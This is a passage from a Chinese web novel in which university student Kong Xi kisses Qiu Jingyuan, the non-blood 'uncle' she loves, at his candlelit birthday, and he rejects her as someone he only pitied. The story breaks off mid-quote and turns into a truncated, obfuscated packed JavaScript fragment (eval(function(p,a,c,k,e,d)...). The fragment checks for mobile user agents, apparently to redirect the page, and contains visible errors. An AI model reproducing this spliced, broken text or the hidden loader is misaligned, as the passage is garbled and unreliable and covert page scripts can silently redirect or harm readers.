这个分数,孔惜可以选择几所不错的外地大学。
在填报志愿时,孔惜意识到如果去外地读书,不仅离孔维祥他们远了,离邱静邧也远了。
她想和他近一些,这是孔惜不能为外人道的私心。
孔惜没和任何人商量,把前两个志愿换成了M城本地的大学。
拿到录取通知书,她才跟邱静邧说:“上大学本身就要住校,不常回家,其实和去外地也没什么区别。”
邱静邧则说:“随你,你觉得好就好。”
大二那年,邱静远生日,孔惜提前找邱静邧要他住所的钥匙,下课后去他家里布置。
那天偏偏赶上片区大面积停电,邱静邧下班回来的时候,孔惜正在翻箱倒柜地找蜡烛。
“没办法了,原本想给你做一顿大餐,菜都买好了,没有电什么都做不了。”孔惜看着茶几上蜡烛光照亮的两盘可怜兮兮的凉菜,遗憾地说。
孔惜给他们两个的杯中斟满啤酒,金黄的液体里有雪白绵密的小气泡飞速上升。
她举起杯子,向着邱静邧,和邱静邧的杯口碰撞出清脆的响声。
唱完生日歌,邱静邧要吹灭蜡烛,孔惜挡住他,“你还没有许愿。”
邱静邧从来不许愿,孔惜坚持要他诚心诚意地闭上眼睛许生日愿望。
“许三个,两个说出来,一个留在自己心里。”
邱静邧于是闭住眼睛,开始许愿。
“希望孔惜期末考试门门第一。”
“希望孔惜下个学期体测及格。”
孔惜手枕着头,靠在茶几边嘻嘻地笑。
“好了,最后一个不要说出来,你在心里默念就行。”
蜡烛的光投影射在邱静邧的脸上,布下阴影,他浓黑的眉毛、挺劲的鼻子和略微带笑的嘴,像孔惜学校背后静谧起伏的山。
像上课时走神,大脑神游天际,孔惜鬼使神差地吻上去。
邱静邧睁开了眼睛,略微后撤,两人的脸依然近在咫尺。
孔惜驱使着微弱的嗓音,心虚地说:“舅舅,生日快乐。”
下一秒,茶几上的蜡烛光焰闪动,孔惜被一股决绝的力量推开。
邱静邧起身,抽纸擦嘴,把纸揉成一团丢在茶几上,正好丢进一盘凉菜里。
孔惜咬着嘴,伤心地问:“为什么?你对我那么好,那么关心我……”
“我对你好,关心你,因为你叫我一声舅舅。”
孔惜爬起来,和他视线齐平,“可是,你根本不是我家亲生的,不是抱来养的,我们没有血缘关系。”
这是那天孔惜听到孔维祥怀疑她不是他亲生女儿,跑到邱静邧这里来,邱静邧亲口跟她说的。
“那又怎么样?能改变得了什么?”
孔惜说:“你不爱我,为什么要对我好?”
邱静邧仿佛听到什么可笑的话,说:“对你好就是爱你?孔惜,你记住,我对你的好,没有一次是出于一个男人想要得到一个女人的爱。”
“那是什么?”
“可怜,同情。”
可怜孔惜家庭不幸,同情孔惜和他一样,出生就被怀疑。
即便孔惜的怀疑后来被证实是假的,他的却是真的。
邱静邧又说:“可能,还有点想补偿你。毕竟你父母离婚的原因,说起来和我也有点关系,但是,也就仅此而已。”
邱静邧进一步问孔惜是什么时候发现对他有不一样的感情。
孔惜双眼空空,咬着嘴,说:“不知道。”
没有一个具体的节点,是长时间以来潜移默化,润物细无声的改变,等到她意识到的时候,已经无可救药地爱上他。
邱静邧非要分个明了,问:“是在我告诉你之前,还是之后?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24